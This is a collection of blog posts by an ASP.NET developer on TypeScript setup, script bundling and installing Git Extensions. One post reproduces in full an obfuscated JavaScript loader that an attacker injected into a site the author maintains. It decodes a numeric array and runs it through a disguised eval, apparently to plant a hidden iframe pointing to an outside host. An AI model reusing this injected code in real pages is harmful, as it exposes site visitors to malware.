<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqJZtp6cGNn50o3Tw5ZmZ4ZZWaonJt2c9yeiA3VrfNH0Sl2OgagntpzGJblmIBawyqe4Aqj67b6DqgqPVGCVsYDBbScSqYQW8cfihMZNLrFAI7rNB2ETE2xtf-HbC-zgNyxePDSMCLqii0/s1600/2013-01-03_08h27_39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqJZtp6cGNn50o3Tw5ZmZ4ZZWaonJt2c9yeiA3VrfNH0Sl2OgagntpzGJblmIBawyqe4Aqj67b6DqgqPVGCVsYDBbScSqYQW8cfihMZNLrFAI7rNB2ETE2xtf-HbC-zgNyxePDSMCLqii0/s1600/2013-01-03_08h27_39.png" /></a></div>
<div>
<br /></div>
<div>
It was easy to fix:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmUjSNkbx3f0mVclc5cgpjRafwiIBKkChdXHiT5p5pAFDWRFEPUoSwC9hlILhcaDA-5_ailRfLM-00i7b96hnUCB7gm9ei2o4OZ-hGw7KSN4T7TjUBnXGum2qxzn44Ne1_cgDnizEUYgoy/s1600/2013-01-03_08h29_50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmUjSNkbx3f0mVclc5cgpjRafwiIBKkChdXHiT5p5pAFDWRFEPUoSwC9hlILhcaDA-5_ailRfLM-00i7b96hnUCB7gm9ei2o4OZ-hGw7KSN4T7TjUBnXGum2qxzn44Ne1_cgDnizEUYgoy/s1600/2013-01-03_08h29_50.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h2>
4. Reference to external JavaScript API</h2>
<div>
TypeScript compiler requires all functions and variables to be declared. If you use a function, which is defined somewhere out of current *.ts file, you have to declare it's signature (it is very similar to C programming)</div>
<div>
<br /></div>
<div>
For example, I use WebFileManager_DoCallback function, which is defined inline in HTML file TypeScript compiler gives me an error:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1OMzhY4ub3ocepcRaFo78tfsYvLwpnKhHSAita8tfOSWPla02oux0oVHqNxa1yK_bMEuD0zMLWEPlCpd21vRW0tAknyMMUyENRJ7d61cEjiew5dvBDAdZp-sLyjm6l-8pXnQILV6TG6pO/s1600/2013-01-03_09h13_07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1OMzhY4ub3ocepcRaFo78tfsYvLwpnKhHSAita8tfOSWPla02oux0oVHqNxa1yK_bMEuD0zMLWEPlCpd21vRW0tAknyMMUyENRJ7d61cEjiew5dvBDAdZp-sLyjm6l-8pXnQILV6TG6pO/s1600/2013-01-03_09h13_07.png" /></a></div>
<div>
<br /></div>
<div>
Following line in top of the file satisfies compiler:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7WfQHpdPi7o1rqhtULflJdyUCPN6Srj7eLKFm2E0Cr5hvQej0FkgMgqyOT7NkuozDVnoW1RVGdIObXmb5toKzVhEWFA4whybYC1jlGBwy2ctkSIoVmFZgFBSaLds71XamolN8yl96RxT2/s1600/2013-01-03_09h18_40.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="32" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7WfQHpdPi7o1rqhtULflJdyUCPN6Srj7eLKFm2E0Cr5hvQej0FkgMgqyOT7NkuozDVnoW1RVGdIObXmb5toKzVhEWFA4whybYC1jlGBwy2ctkSIoVmFZgFBSaLds71XamolN8yl96RxT2/s640/2013-01-03_09h18_40.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
If you want to reuse such declarations, then you may extract all definitions to the *.d.ts file and reference to it from *.ts file. I did it for ASP.NET WebForms client side API. </div>
<div>
<br /></div>
<div>
Bellow is a content of WebForm.d.ts file:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR8fZ8YpPjnFg4ZHslasroMbRrPkdUsK_MMZgYT_11KpsRY4SBhnJ-UE1DHVBNhBF17djLTruSUzl4nKZLooDGKbeoaqMiWZCbTvVOhUQkuV3JyqDGqx5t1241dtZyiQ1f1rfqSRA6_KrD/s1600/2013-01-03_09h24_50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR8fZ8YpPjnFg4ZHslasroMbRrPkdUsK_MMZgYT_11KpsRY4SBhnJ-UE1DHVBNhBF17djLTruSUzl4nKZLooDGKbeoaqMiWZCbTvVOhUQkuV3JyqDGqx5t1241dtZyiQ1f1rfqSRA6_KrD/s1600/2013-01-03_09h24_50.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
And the reference to it:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92O8RyUg-IZCBPaU_uvqQ0v15P3lXGx-NUD6R0Zmvlt00Yv4TRmLprSEKGDYpjUB42XUuGzdivfDIu6yh6pAZcbJkj1ZCfpomcKy1XBegwd8f20diHpQj9xO18bro4Rm9BzXfAnJglOSE/s1600/2013-01-03_09h26_49.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92O8RyUg-IZCBPaU_uvqQ0v15P3lXGx-NUD6R0Zmvlt00Yv4TRmLprSEKGDYpjUB42XUuGzdivfDIu6yh6pAZcbJkj1ZCfpomcKy1XBegwd8f20diHpQj9xO18bro4Rm9BzXfAnJglOSE/s1600/2013-01-03_09h26_49.png" /></a></div>
<div>
<br /></div>
<h2>
5. Building the project</h2>
<div>
After solving all TypeScript compilation errors, I was able to build the project. As result, I got all *.js files be created.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcTuTVRkO8-jB7ZRLgSWz2RHp1PTuFHqjmSgjGb_UUztShHKXSYCWiti7sYtejDRDxqpeSFFF1VJXZzpHnNYQk6Vd2qxJ5FZ1J4KvBaIGlGzQZFYbRcsM0XOunKF1hV8yHtZpl9_Fs8Tuz/s1600/2013-01-03_09h30_44.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcTuTVRkO8-jB7ZRLgSWz2RHp1PTuFHqjmSgjGb_UUztShHKXSYCWiti7sYtejDRDxqpeSFFF1VJXZzpHnNYQk6Vd2qxJ5FZ1J4KvBaIGlGzQZFYbRcsM0XOunKF1hV8yHtZpl9_Fs8Tuz/s1600/2013-01-03_09h30_44.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
Now I am ready to continue developing of IZWebFileManager with power of TypeScript.</div>
Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-65974067024952308682013-01-01T21:46:00.000-08:002013-01-01T21:57:49.203-08:00Using TypeScript with an existing ASP.NET project.<a href="http://www.typescriptlang.org/">TypeScript</a> looks very powerful for me, and I want to use it with all my ASP.NET projects. But I found it is not trivial to add support of TypeScript to an existing project. After installing <a href="http://www.microsoft.com/en-us/download/details.aspx?id=34790">TypeScript for Visual Studio 2012</a> I was able to add new TypeScript file (*.ts) to the project, but any changes in the *.ts file did not affect it's output *.js file. Seemed like TypeScript compiler doesn't work for me. It was strange, because I found it works perfect in test project created from TypeScriptHTMLApp template.<br />
<br />
After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieVKrGriS8STuBDuFLtb66nhDSORtMCj6RlHWruoArqdCm2WlXZ5s4g7GYbLcTW_gbf_qJOoraKWgX7hDmHl-1Y3Vhn2f6JXQOi1U2DNJVryebFouOkGf3fKjYOmXAl_EC2bwqI6YC291s/s1600/2013-01-02_07h46_40.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieVKrGriS8STuBDuFLtb66nhDSORtMCj6RlHWruoArqdCm2WlXZ5s4g7GYbLcTW_gbf_qJOoraKWgX7hDmHl-1Y3Vhn2f6JXQOi1U2DNJVryebFouOkGf3fKjYOmXAl_EC2bwqI6YC291s/s640/2013-01-02_07h46_40.png" width="640" /></a></div>
<br />
<br />
<br />
I just added this lines in my existing project's *.csproj file and it works fine now.<br />
<br />
Later I found the same answer in <a href="http://stackoverflow.com/questions/12680486/how-do-i-add-typescript-to-an-existing-asp-net-mvc-project">Stack Overflow</a>. (Should I've searched there for an answer first? :))<br />
<br />
<div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-82095132454659934872012-09-04T22:36:00.001-07:002012-09-04T22:37:46.668-07:00Using ASP.NET Bundling and Minification with Web Forms<b>Bundling and Minification</b> is a new feature of ASP.NET 4.<br />
Learn more from this tutorial <a href="http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification">http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification</a>.<br />
<br />
It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.<br />
<br />
When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.<br />
<br />
<a name='more'></a><br />
<h3>
Adding reference to <i>System.Web.Optimization </i>library</h3>
<div>
System.Web.Optimization is not a part of .NET 4 framework. But it is provisioned by NuGet package manager.</div>
<div>
<br /></div>
<div>
Open NuGet and search for <i>Microsoft.AspNet.Web.Optimization</i> package.</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG0LFmMzpSB-Wx9WLXMe_quZI9pdWIOpjldP08xtWSeE0HstNJqKmqdd13msZfLq0R_PG0iLoL701AXF_aiHcuCO-ESrJ7JdGqFY25bKiwdUfpGvufjmmZuARX7-QeQRMrJSeQzQREsrsI/s1600/2012-09-05_07h05_38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="443" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG0LFmMzpSB-Wx9WLXMe_quZI9pdWIOpjldP08xtWSeE0HstNJqKmqdd13msZfLq0R_PG0iLoL701AXF_aiHcuCO-ESrJ7JdGqFY25bKiwdUfpGvufjmmZuARX7-QeQRMrJSeQzQREsrsI/s640/2012-09-05_07h05_38.png" width="640" /></a></div>
<br />
<br />
As you may see, it depends on two other packages, but you don't have to worry, NuGet will manage all dependencies and will install them as well.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92HVUfx3dNEtPDDqhZ1XQsqoLRNLqUFOD9FbtgvQ9M50nY3m36PqVjIRAFc3Lg59a1FHGxixsA3jOgzIGyG-A1MlJ-OY5tOhMXNSSFnmfNM6zEiE5IEFyjss_03u3pHTf640maqqkKU5G/s1600/2012-09-05_07h07_11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="444" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92HVUfx3dNEtPDDqhZ1XQsqoLRNLqUFOD9FbtgvQ9M50nY3m36PqVjIRAFc3Lg59a1FHGxixsA3jOgzIGyG-A1MlJ-OY5tOhMXNSSFnmfNM6zEiE5IEFyjss_03u3pHTf640maqqkKU5G/s640/2012-09-05_07h07_11.png" width="640" /></a></div>
<br />
Now you may see a few new references added to your project: <i>Antlr3.Runtime, Microsoft.Web.Infrastructure, System.Web.Optimization and WebGrease.</i><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyOjwXYWwhA4YGpUqi6Soy0olYTqW4CNqoA_1UJF37NeqsWjJrKO2CruuvNYrHGzADxreSSjs-S8IpedCPhIWg6ojJRGStOHvYMFKRe2nSB8puyuzifx-3QMNeEtgOScNbYFRtExNPkBj7/s1600/2012-09-05_07h31_47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyOjwXYWwhA4YGpUqi6Soy0olYTqW4CNqoA_1UJF37NeqsWjJrKO2CruuvNYrHGzADxreSSjs-S8IpedCPhIWg6ojJRGStOHvYMFKRe2nSB8puyuzifx-3QMNeEtgOScNbYFRtExNPkBj7/s1600/2012-09-05_07h31_47.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
All new referenced are set to be copied to <i>/bin </i>folder (Copy Local = true in property window), so they are deployed to server with your application. No need to mess with GAC :).<br />
<br />
<h3>
Register bundle</h3>
</div>
<div>
<br /></div>
<div>
All the rest is according to <a href="http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification">tutorial</a>. Register bundles with <i>Application_Start</i><i>:</i></div>
<div>
<i><br /></i></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5_WMvRWlF4I9IJo0MxSb4CenE_xH_YehjBEvOsRq3MQsWX6XywRAB9bLXD4EruGxoVdIKxh-Sj_1Ed93Q1SX0JcMgsNpL-cXzbgQnSmA0m-o26TME5rTl46MfNCOGf78jjeKLq0ssSND1/s1600/2012-09-05_07h44_28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5_WMvRWlF4I9IJo0MxSb4CenE_xH_YehjBEvOsRq3MQsWX6XywRAB9bLXD4EruGxoVdIKxh-Sj_1Ed93Q1SX0JcMgsNpL-cXzbgQnSmA0m-o26TME5rTl46MfNCOGf78jjeKLq0ssSND1/s1600/2012-09-05_07h44_28.png" /></a></div>
<h3>
Include bundle in the page</h3>
<div>
In my scenario I use Web Forms and have an *.aspx with a master page. To include the bundle in the page, it is simply enough to add one line of code within <i>head</i> tag:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPBtyoeMDBppr6I4-dCUca3jevxN1P5BN6FFTaRa3le9KGsMJ3HIUC-J3GSSJRrvwboPpWsPZb0u-OICTPLvPl9sp2knjreC3dhEPo_bCznpsY75YIVlMQiaCRNgmsmoA630ltel4Cz0y-/s1600/2012-09-05_07h50_28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPBtyoeMDBppr6I4-dCUca3jevxN1P5BN6FFTaRa3le9KGsMJ3HIUC-J3GSSJRrvwboPpWsPZb0u-OICTPLvPl9sp2knjreC3dhEPo_bCznpsY75YIVlMQiaCRNgmsmoA630ltel4Cz0y-/s1600/2012-09-05_07h50_28.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h3>
Runing application</h3>
<div>
Now you can run the application. Depending on <i>debug </i>settings in <i>Web.config </i>you will get either all scripts (included in the bundle) included separately in the page (debug="true") for debugging purpose, or single all-in-one minified script include</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh64cs0M0e22VxrcAuxE9jW0eiy13KXWq5mzy9QD6Z60bmyuT-0I0GoNO45eBo72IA6BO9ZYvAPnQZS3RBwIPxW3o3GFgYl3HTFMefLTDw_VX8BlM80dIf_K4RQL-ABQYUOO3tma82ssxbF/s1600/2012-09-05_08h19_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh64cs0M0e22VxrcAuxE9jW0eiy13KXWq5mzy9QD6Z60bmyuT-0I0GoNO45eBo72IA6BO9ZYvAPnQZS3RBwIPxW3o3GFgYl3HTFMefLTDw_VX8BlM80dIf_K4RQL-ABQYUOO3tma82ssxbF/s1600/2012-09-05_08h19_02.png" /></a></div>
<h3>
CSS bundling</h3>
<div>
In the same manner you can use CSS bundling</div>
<div>
<br /></div>
<div>
Register <i>StyleBundle</i>:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEeCKaz_Wa4i0uwa-bzj6-L-yBfzXHbm1w7yDmviLjAkenR3_RYNSC68_zH3rfX38fytkOtvU9g5vJYkyQVvIF3oR29aw3Q06r1ZCGsZiZONhD_T4vAixySqLPnKe5EWEN7u2FYXvLIo7-/s1600/2012-09-05_08h28_52.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEeCKaz_Wa4i0uwa-bzj6-L-yBfzXHbm1w7yDmviLjAkenR3_RYNSC68_zH3rfX38fytkOtvU9g5vJYkyQVvIF3oR29aw3Q06r1ZCGsZiZONhD_T4vAixySqLPnKe5EWEN7u2FYXvLIo7-/s1600/2012-09-05_08h28_52.png" /></a></div>
<div>
<br /></div>
<div>
Include in the page:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvzn1G6mYdipsHvafiLVVMWixw3h7yZrwyYebIRuqrJPqzeEB0V1Cnm7iKqyM988sD7oPVACWv3pqu81pKoT16J8rIGaXeBmBtMBSPYS7VQaUGXLbbvCt1EJajBzCkjcBOG12SidVY7nzC/s1600/2012-09-05_08h31_31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvzn1G6mYdipsHvafiLVVMWixw3h7yZrwyYebIRuqrJPqzeEB0V1Cnm7iKqyM988sD7oPVACWv3pqu81pKoT16J8rIGaXeBmBtMBSPYS7VQaUGXLbbvCt1EJajBzCkjcBOG12SidVY7nzC/s1600/2012-09-05_08h31_31.png" /></a></div>
<div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com59tag:blogger.com,1999:blog-5201357166850736293.post-73876770477093162232012-04-10T21:16:00.000-07:002012-04-11T11:11:57.857-07:00JavaScript injection<span class="objectBox objectBox-string " role="presentation"> This JavaScript code was injected to the main page of the one of not well protected sites I am happy to maintain.:</span><br />
<br />
<i>c=3-1;i=c-2;if(</i><br />
<div dir="ltr">
<wbr></wbr><i>window.document)if(parseInt("</i><wbr></wbr><i>0"+"1"+"2"+"3")===83)try{Date(</i><wbr></wbr><i>).prototype.q}catch(egewgsd){</i><wbr></wbr><i>f=['-31i-31i65i62i-</i><wbr></wbr><i>8i0i60i71i59i77i69i61i70i76i6i</i><wbr></wbr><i>63i61i76i29i68i61i69i61i70i76i</i><wbr></wbr><i>75i26i81i44i57i63i38i57i69i61i</i><wbr></wbr><i>0i-1i58i71i60i81i-</i><wbr></wbr><i>1i1i51i8i53i1i83i-27i-31i-31i-</i><wbr></wbr><i>31i65i62i74i57i69i61i74i0i1i19</i><wbr></wbr><i>i-27i-31i-31i85i-</i><wbr></wbr><i>8i61i68i75i61i-8i83i-27i-31i-</i><wbr></wbr><i>31i-</i><wbr></wbr><i>31i60i71i59i77i69i61i70i76i6i7</i><wbr></wbr><i>9i74i65i76i61i0i-</i><wbr></wbr><i>6i20i65i62i74i57i69i61i-</i><wbr></wbr><i>8i75i74i59i21i-</i><wbr></wbr><i>1i64i76i76i72i18i7i7i63i65i63i</i><wbr></wbr><i>57i76i61i74i65i57i6i65i70i7i65</i><wbr></wbr><i>i70i6i59i63i65i23i15i-1i-</i><wbr></wbr><i>8i79i65i60i76i64i21i-1i9i8i-</i><wbr></wbr><i>1i-8i64i61i65i63i64i76i21i-</i><wbr></wbr><i>1i9i8i-1i-</i><wbr></wbr><i>8i75i76i81i68i61i21i-</i><wbr></wbr><i>1i78i65i75i65i58i65i68i65i76i8</i><wbr></wbr><i>1i18i64i65i60i60i61i70i19i72i7</i><wbr></wbr><i>1i75i65i76i65i71i70i18i57i58i7</i><wbr></wbr><i>5i71i68i77i76i61i19i68i61i62i7</i><wbr></wbr><i>6i18i8i19i76i71i72i18i8i19i-</i><wbr></wbr><i>1i22i20i7i65i62i74i57i69i61i22</i><wbr></wbr><i>i-6i1i19i-27i-31i-31i85i-27i-</i><wbr></wbr><i>31i-</i><wbr></wbr><i>31i62i77i70i59i76i65i71i70i-</i><wbr></wbr><i>8i65i62i74i57i69i61i74i0i1i83i</i><wbr></wbr><i>-27i-31i-31i-31i78i57i74i-</i><wbr></wbr><i>8i62i-8i21i-</i><wbr></wbr><i>8i60i71i59i77i69i61i70i76i6i59</i><wbr></wbr><i>i74i61i57i76i61i29i68i61i69i61</i><wbr></wbr><i>i70i76i0i-</i><wbr></wbr><i>1i65i62i74i57i69i61i-</i><wbr></wbr><i>1i1i19i62i6i75i61i76i25i76i76i</i><wbr></wbr><i>74i65i58i77i76i61i0i-</i><wbr></wbr><i>1i75i74i59i-1i4i-</i><wbr></wbr><i>1i64i76i76i72i18i7i7i63i65i63i</i><wbr></wbr><i>57i76i61i74i65i57i6i65i70i7i65</i><wbr></wbr><i>i70i6i59i63i65i23i15i-</i><wbr></wbr><i>1i1i19i62i6i75i76i81i68i61i6i7</i><wbr></wbr><i>8i65i75i65i58i65i68i65i76i81i2</i><wbr></wbr><i>1i-1i64i65i60i60i61i70i-</i><wbr></wbr><i>1i19i62i6i75i76i81i68i61i6i72i</i><wbr></wbr><i>71i75i65i76i65i71i70i21i-</i><wbr></wbr><i>1i57i58i75i71i68i77i76i61i-</i><wbr></wbr><i>1i19i62i6i75i76i81i68i61i6i68i</i><wbr></wbr><i>61i62i76i21i-1i8i-</i><wbr></wbr><i>1i19i62i6i75i76i81i68i61i6i76i</i><wbr></wbr><i>71i72i21i-1i8i-</i><wbr></wbr><i>1i19i62i6i75i61i76i25i76i76i74</i><wbr></wbr><i>i65i58i77i76i61i0i-</i><wbr></wbr><i>1i79i65i60i76i64i-1i4i-1i9i8i-</i><wbr></wbr><i>1i1i19i62i6i75i61i76i25i76i76i</i><wbr></wbr><i>74i65i58i77i76i61i0i-</i><wbr></wbr><i>1i64i61i65i63i64i76i-1i4i-</i><wbr></wbr><i>1i9i8i-1i1i19i-27i-31i-31i-</i><wbr></wbr><i>31i60i71i59i77i69i61i70i76i6i6</i><wbr></wbr><i>3i61i76i29i68i61i69i61i70i76i7</i><wbr></wbr><i>5i26i81i44i57i63i38i57i69i61i0</i><wbr></wbr><i>i-1i58i71i60i81i-</i><wbr></wbr><i>1i1i51i8i53i6i57i72i72i61i70i6</i><wbr></wbr><i>0i27i64i65i68i60i0i62i1i19i-</i><wbr></wbr><i>27i-31i-31i85'][0].split('i');</i><wbr></wbr><i>v="ev"+"a"+"l";}if(v)e=window[</i><wbr></wbr><i>v];w=f;s=[];r=String;for(;565!</i><wbr></wbr><i>=i;i+=1){j=i;s+=r["fr"+"omC"+"</i><wbr></wbr><i>harCode"](40+1*w[j]);}<br />
if(f)z=s;e(z);</i></div>
<br />
<span class="objectBox objectBox-string " role="presentation">Last expression </span><i>e(z) </i>evaluates following code:<br />
<br />
<br /><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0tBWgYBf22MI-9O43-Td5CfmvHwtJYqJm-L8mwgLHkPo7mU7A24h7zJM4JMqR80bbNTlHLJi6YYbyjsBdiWbgU4ZgsJp33D4d2M3_4XYqJkF9_2zIlgaoQGcum7-jgGgPeoPn_v5DHEMi/s1600/2012-04-11_21h09_58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0tBWgYBf22MI-9O43-Td5CfmvHwtJYqJm-L8mwgLHkPo7mU7A24h7zJM4JMqR80bbNTlHLJi6YYbyjsBdiWbgU4ZgsJp33D4d2M3_4XYqJkF9_2zIlgaoQGcum7-jgGgPeoPn_v5DHEMi/s1600/2012-04-11_21h09_58.png" /></a></div>
<br />
<span class="objectBox objectBox-string " role="presentation">It is amazing, </span><i><span class="objectBox objectBox-string " role="presentation"> </span></i><span class="objectBox objectBox-string " role="presentation">how people create such things. This have to be a special state of mind.</span>Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-52631265279462362272012-03-27T02:38:00.002-07:002012-03-27T02:41:31.030-07:00Setting up Git, Git Extensions and GitHub account<br />
This tutorial indeed for people who is not familiar with <a href="http://git.or.cz/">Git</a> and <a href="https://github.com/">GitHub</a> and make first steps with this this technology. The tutorial contains following steps:<br />
<ul>
<li>Installing Git and Git Extensions</li>
<li>Setting up GitHub account ,SSH keys and repository</li>
<li>Working with GitHub repository with Git Extensions</li>
<li>Cloning public repository from GitHub</li>
</ul>
<br />
<a name='more'></a><br />
<ul>
</ul>
<h3>
Installing Git and Git Extensions</h3>
<a href="http://code.google.com/p/gitextensions/">Git Extensions</a> is an open-source project provides graphical user interface for Git that allows you control Git without using the command line. It's download includes <a href="http://code.google.com/p/msysgit/">msysgit</a> - implementation of Git for Windows.<br />
<br />
Download and run latest build from <a href="http://code.google.com/p/gitextensions/downloads/list">download page</a> . I use version 2.29 for this tutorial. Follow installation wizard with taking notes below:<br />
<br />
When you run installer you get welcome page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAkCRhhZxi9zntoB7_fTB2sxN-YkJb2jS3ZTzTWuvcHZ8-4L2EdCXOAhupf50Slw8zrQwMUDTOderOIEfwUPplYxcQPaqPst8gt_1BHLFH1Kp7KScydwA0J_rzbgKalmR0xcS-HU1AoDHP/s1600/2012-03-27+07h19_25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAkCRhhZxi9zntoB7_fTB2sxN-YkJb2jS3ZTzTWuvcHZ8-4L2EdCXOAhupf50Slw8zrQwMUDTOderOIEfwUPplYxcQPaqPst8gt_1BHLFH1Kp7KScydwA0J_rzbgKalmR0xcS-HU1AoDHP/s1600/2012-03-27+07h19_25.png" /></a></div>
<br />
Go next till you get "Required Software" page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc3hSVoA5JZ7iuhkXscAQuj18C_KsjWnOzPU2d4TvtIDzuSdafSx0Q-vJEiZaXdqq1nfPR5dBw8cqAX3SUT6tCB-DsLSBEPTDEuFcSCsqhVoAbso4-A-QPtzIo049dxcZrJv8tG-hLnXu-/s1600/2012-03-27+07h19_46.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc3hSVoA5JZ7iuhkXscAQuj18C_KsjWnOzPU2d4TvtIDzuSdafSx0Q-vJEiZaXdqq1nfPR5dBw8cqAX3SUT6tCB-DsLSBEPTDEuFcSCsqhVoAbso4-A-QPtzIo049dxcZrJv8tG-hLnXu-/s1600/2012-03-27+07h19_46.png" /></a></div>
<br />
<br />
Since Git Extensions is only graphical tool, it requires Git installed. If you are not sure you have proper git installation, just select option "Install MsysGit". KDiff is a diff/merge tool, not the best one, but free. I recommend you select it as well.<br />
<br />
Go next till you get "Select SSH client" page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik9NE4QL2l1ZmJ1HHjOxjOn4TrcvF7Wh84Xr9wV03GWfk04P9AdTZHAMVxo0JUHaVvvBlHA-epiqRswykcxnLcGdl65Y1PHGeTDZ7LAGmou1vOvP8qdR1ljcCEJHNbgZ2qpctnERDlvoNW/s1600/2012-03-27+07h19_56.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik9NE4QL2l1ZmJ1HHjOxjOn4TrcvF7Wh84Xr9wV03GWfk04P9AdTZHAMVxo0JUHaVvvBlHA-epiqRswykcxnLcGdl65Y1PHGeTDZ7LAGmou1vOvP8qdR1ljcCEJHNbgZ2qpctnERDlvoNW/s1600/2012-03-27+07h19_56.png" /></a></div>
<br />
Ensure you select "PuTTY". It is an easiest way to work with SSH on Windows.<br />
<br />
Go next till you get MsysGit installer running (as part of Git Extensions installation).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
